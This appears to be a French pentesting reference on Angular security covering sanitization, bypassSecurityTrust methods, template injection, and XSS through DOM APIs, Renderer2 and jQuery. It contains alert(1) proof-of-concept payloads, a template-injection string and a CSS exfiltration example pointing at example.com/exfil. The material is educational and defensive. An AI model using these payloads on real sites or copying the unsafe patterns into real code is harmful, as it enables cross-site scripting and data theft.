24 KiB
Angular
La Checklist
Checklist à partir d'ici.
- Angular est considéré comme un framework côté client et n'est pas censé fournir une protection côté serveur
- Le sourcemap pour les scripts est désactivé dans la configuration du projet
- Les entrées utilisateur non fiables sont toujours interpolées ou nettoyées avant d'être utilisées dans les modèles
- L'utilisateur n'a aucun contrôle sur les modèles côté serveur ou côté client
- Les entrées utilisateur non fiables sont nettoyées en utilisant un contexte de sécurité approprié avant d'être considérées comme fiables par l'application
- Les méthodes
BypassSecurity*
ne sont pas utilisées avec des entrées non fiables - Les entrées utilisateur non fiables ne sont pas transmises aux classes Angular telles que
ElementRef
,Renderer2
etDocument
, ou à d'autres points d'injection JQuery/DOM
Qu'est-ce que Angular
Angular est un framework puissant et open-source maintenu par Google. Il utilise TypeScript pour améliorer la lisibilité du code et le débogage. Avec des mécanismes de sécurité solides, Angular prévient les vulnérabilités côté client courantes telles que les XSS et les redirections ouvertes. Il peut également être utilisé côté serveur, ce qui rend les considérations de sécurité importantes des deux côtés.
Architecture du framework
Pour mieux comprendre les bases d'Angular, passons en revue ses concepts essentiels.
Un projet Angular commun ressemble généralement à :
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Selon la documentation, chaque application Angular a au moins un composant, le composant racine (AppComponent
) qui connecte une hiérarchie de composants avec le DOM. Chaque composant définit une classe qui contient les données et la logique de l'application, et est associé à un modèle HTML qui définit une vue à afficher dans un environnement cible. Le décorateur @Component()
identifie la classe immédiatement en dessous comme un composant, et fournit le modèle et les métadonnées spécifiques au composant. L'AppComponent
est défini dans le fichier app.component.ts
.
Les NgModules Angular déclarent un contexte de compilation pour un ensemble de composants dédié à un domaine d'application, un flux de travail, ou un ensemble de capacités étroitement liées. Chaque application Angular a un module racine, conventionnellement nommé AppModule
, qui fournit le mécanisme de démarrage qui lance l'application. Une application contient généralement de nombreux modules fonctionnels. L'AppModule
est défini dans le fichier app.module.ts
.
Le NgModule Router
Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le RouterModule
est défini dans le fichier app-routing.module.ts
.
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition de la classe de service est immédiatement précédée du décorateur @Injectable()
. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendances (DI) vous permet de maintenir vos classes de composants légères et efficaces. Elles ne récupèrent pas de données depuis le serveur, ne valident pas les saisies utilisateur, ou ne journalisent pas directement dans la console ; elles délèguent de telles tâches aux services.
Configuration des sourcemap
Le framework Angular traduit les fichiers TypeScript en code JavaScript en suivant les options du fichier tsconfig.json
, puis construit un projet avec la configuration angular.json
. En examinant le fichier angular.json
, nous avons observé une option pour activer ou désactiver un sourcemap. Selon la documentation Angular, la configuration par défaut a un fichier sourcemap activé pour les scripts et n'est pas masqué par défaut:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Généralement, les fichiers sourcemap sont utilisés à des fins de débogage car ils cartographient les fichiers générés à leurs fichiers d'origine. Par conséquent, il n'est pas recommandé de les utiliser en environnement de production. Lorsque les sourcemaps sont activés, cela améliore la lisibilité et facilite l'analyse des fichiers en reproduisant l'état d'origine du projet Angular. Cependant, s'ils sont désactivés, un examinateur peut toujours analyser manuellement un fichier JavaScript compilé en recherchant des modèles anti-sécurité.
De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Debugger et Sources) → [id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin //# sourceMappingURL=[id].main.js.map
ou non, si l'option hidden est définie sur true. Cependant, si le sourcemap est désactivé pour les scripts, les tests deviennent plus complexes et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé pendant la construction du projet comme ng build --source-map
.
Liaison de données
La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être transmises de diverses manières, telles que par des événements, interpolation, propriétés, ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service.
Nous pouvons classer la liaison par flux de données :
- Source de données vers cible de vue (inclut interpolation, propriétés, attributs, classes et styles); peut être appliqué en utilisant
[]
ou{{}}
dans le modèle; - Cible de vue vers source de données (inclut événements); peut être appliqué en utilisant
()
dans le modèle; - Bidirectionnelle; peut être appliqué en utilisant
[()]
dans le modèle.
La liaison peut être appelée sur des propriétés, des événements, des attributs, ainsi que sur tout membre public d'une directive source :
TYPE | CIBLE | EXEMPLES |
---|---|---|
Propriété | Propriété de l'élément, Propriété du composant, Propriété de la directive | <img [alt]="hero.name" [src]="heroImageUrl"> |
Événement | Événement de l'élément, Événement du composant, Événement de la directive | <button type="button" (click)="onSave()">Save |
Bidirectionnelle | Événement et propriété | <input [(ngModel)]="name"> |
Attribut | Attribut (l'exception) | <button type="button" [attr.aria-label]="help">help |
Classe | Propriété de classe | <div [class.special]="isSpecial">Special |
Style | Propriété de style | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Modèle de sécurité Angular
La conception d'Angular inclut l'encodage ou la désinfection de toutes les données par défaut, ce qui rend de plus en plus difficile la découverte et l'exploitation de vulnérabilités XSS dans les projets Angular. Il existe deux scénarios distincts pour la manipulation des données :
- Interpolation ou
{{user_input}}
- effectue un encodage sensible au contexte et interprète l'entrée utilisateur comme du texte ;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Résultat : <script>alert(1)</script><h1>test</h1>
2. Liaison aux propriétés, attributs, classes et styles ou [attribut]="user_input"
- effectue une désinfection en fonction du contexte de sécurité fourni.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Résultat : <div><h1>test</h1></div>
Il existe 6 types de SecurityContext
:
None
;HTML
est utilisé lors de l'interprétation de la valeur comme HTML ;STYLE
est utilisé lors de la liaison CSS dans la propriétéstyle
;URL
est utilisé pour les propriétés d'URL, telles que<a href>
;SCRIPT
est utilisé pour le code JavaScript ;RESOURCE_URL
comme une URL qui est chargée et exécutée comme du code, par exemple, dans<script src>
.
Vulnérabilités
Contournement des méthodes de confiance en matière de sécurité
Angular introduit une liste de méthodes pour contourner son processus de désinfection par défaut et indiquer qu'une valeur peut être utilisée en toute sécurité dans un contexte spécifique, comme dans les cinq exemples suivants :
bypassSecurityTrustUrl
est utilisé pour indiquer que la valeur donnée est une URL de style sûre :
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliquez ici</a>
//résultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliquez ici</a>
bypassSecurityTrustResourceUrl
est utilisé pour indiquer que la valeur donnée est une URL de ressource sûre :
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//résultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
est utilisé pour indiquer que la valeur donnée est du HTML sûr. Notez que l'insertion d'élémentsscript
dans l'arbre DOM de cette manière ne les fera pas exécuter le code JavaScript contenu, en raison de la façon dont ces éléments sont ajoutés à l'arbre DOM.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//résultat
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
est utilisé pour indiquer que la valeur donnée est du JavaScript sûr. Cependant, nous avons constaté que son comportement est imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//résultat
-
bypassSecurityTrustStyle
est utilisé pour indiquer que la valeur donnée est du CSS sûr. L'exemple suivant illustre l'injection de CSS :
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//résultat
URL de la requête : GET example.com/exfil/a
Angular fournit une méthode sanitize
pour désinfecter les données avant de les afficher dans les vues. Cette méthode utilise le contexte de sécurité fourni et nettoie l'entrée en conséquence. Il est cependant crucial d'utiliser le bon contexte de sécurité pour les données et le contexte spécifiques. Par exemple, l'application d'un désinfectant avec SecurityContext.URL
sur un contenu HTML ne protège pas contre les valeurs HTML dangereuses. Dans de tels scénarios, une mauvaise utilisation du contexte de sécurité pourrait entraîner des vulnérabilités XSS.
Injection HTML
Cette vulnérabilité se produit lorsque l'entrée utilisateur est liée à l'une des trois propriétés : innerHTML
, outerHTML
, ou iframe
srcdoc
. Alors que la liaison à ces attributs interprète le HTML tel quel, l'entrée est désinfectée en utilisant SecurityContext.HTML
. Ainsi, l'injection HTML est possible, mais le script entre sites (XSS) ne l'est pas.
Exemple d'utilisation de innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Le résultat est <div><h1>test</h1></div>
.
Injection de modèle
Rendu côté client (CSR)
Angular exploite des modèles pour construire des pages de manière dynamique. L'approche consiste à encapsuler des expressions de modèle pour qu'Angular les évalue entre doubles accolades ({{}}
). De cette manière, le framework offre des fonctionnalités supplémentaires. Par exemple, un modèle tel que {{1+1}}
s'afficherait comme 2.
En général, Angular échappe aux entrées utilisateur qui peuvent être confondues avec des expressions de modèle (par exemple, des caractères tels que `< > ' " ``). Cela signifie que des étapes supplémentaires sont nécessaires pour contourner cette restriction, comme l'utilisation de fonctions qui génèrent des objets de chaîne JavaScript pour éviter d'utiliser des caractères interdits. Cependant, pour y parvenir, nous devons tenir compte du contexte Angular, de ses propriétés et variables. Par conséquent, une attaque par injection de modèle peut apparaître comme suit:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Comme indiqué ci-dessus: constructor
fait référence à la portée de la propriété constructor
de l'objet, nous permettant d'invoquer le constructeur de String et d'exécuter un code arbitraire.
Rendu côté serveur (SSR)
Contrairement au CSR, qui se produit dans le DOM du navigateur, Angular Universal est responsable du SSR des fichiers de modèle. Ces fichiers sont ensuite livrés à l'utilisateur. Malgré cette distinction, Angular Universal applique les mêmes mécanismes de désinfection utilisés dans le CSR pour améliorer la sécurité du SSR. Une vulnérabilité d'injection de modèle dans le SSR peut être repérée de la même manière que dans le CSR, car le langage de modèle utilisé est le même.
Bien sûr, il existe également la possibilité d'introduire de nouvelles vulnérabilités d'injection de modèle lors de l'utilisation de moteurs de modèles tiers tels que Pug et Handlebars.
XSS
Interfaces DOM
Comme mentionné précédemment, nous pouvons accéder directement au DOM en utilisant l'interface Document. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de script entre sites (XSS).
Nous avons utilisé les méthodes document.write()
et document.createElement()
dans les exemples ci-dessous:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Classes Angular
Il existe des classes qui peuvent être utilisées pour travailler avec les éléments DOM dans Angular : ElementRef
, Renderer2
, Location
et Document
. Une description détaillée des deux dernières classes est donnée dans la section Redirections ouvertes. La principale différence entre les deux premières est que l'API Renderer2
fournit une couche d'abstraction entre l'élément DOM et le code du composant, tandis que ElementRef
ne fait que contenir une référence à l'élément. Par conséquent, selon la documentation d'Angular, l'API ElementRef
ne devrait être utilisée qu'en dernier recours lorsque l'accès direct au DOM est nécessaire.
ElementRef
contient la propriéténativeElement
, qui peut être utilisée pour manipuler les éléments DOM. Cependant, une utilisation incorrecte denativeElement
peut entraîner une vulnérabilité d'injection XSS, comme indiqué ci-dessous :
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Malgré le fait que
Renderer2
fournit une API qui peut être utilisée en toute sécurité même lorsque l'accès direct aux éléments natifs n'est pas pris en charge, il présente toujours des failles de sécurité. AvecRenderer2
, il est possible de définir des attributs sur un élément HTML en utilisant la méthodesetAttribute()
, qui ne dispose d'aucun mécanisme de prévention XSS.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Pour définir la propriété d'un élément DOM, vous pouvez utiliser la méthode
Renderer2.setProperty()
et déclencher une attaque XSS :
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
Au cours de nos recherches, nous avons également examiné le comportement d'autres méthodes Renderer2
, telles que setStyle()
, createComment()
et setValue()
, par rapport aux injections XSS et CSS. Cependant, nous n'avons pas pu trouver de vecteurs d'attaque valides pour ces méthodes en raison de leurs limitations fonctionnelles.
jQuery
jQuery est une bibliothèque JavaScript rapide, petite et riche en fonctionnalités qui peut être utilisée dans le projet Angular pour aider à manipuler les objets DOM HTML. Cependant, comme on le sait, les méthodes de cette bibliothèque peuvent être exploitées pour provoquer une vulnérabilité XSS. Afin de discuter de la manière dont certaines méthodes jQuery vulnérables peuvent être exploitées dans les projets Angular, nous avons ajouté cette sous-section.
- La méthode
html()
récupère le contenu HTML du premier élément dans l'ensemble des éléments correspondants ou définit le contenu HTML de chaque élément correspondant. Cependant, par conception, tout constructeur ou méthode jQuery qui accepte une chaîne HTML peut potentiellement exécuter du code. Cela peut se produire par l'injection de balises<script>
ou l'utilisation d'attributs HTML qui exécutent du code, comme le montre l'exemple suivant.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- La méthode
jQuery.parseHTML()
utilise des méthodes natives pour convertir la chaîne en un ensemble de nœuds DOM, qui peuvent ensuite être insérés dans le document.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts inclus dans le HTML. La méthode jQuery.parseHTML()
ne lance pas de scripts dans le HTML analysé à moins que keepScripts
ne soit explicitement défini sur true
. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts de manière indirecte ; par exemple, via l'attribut <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>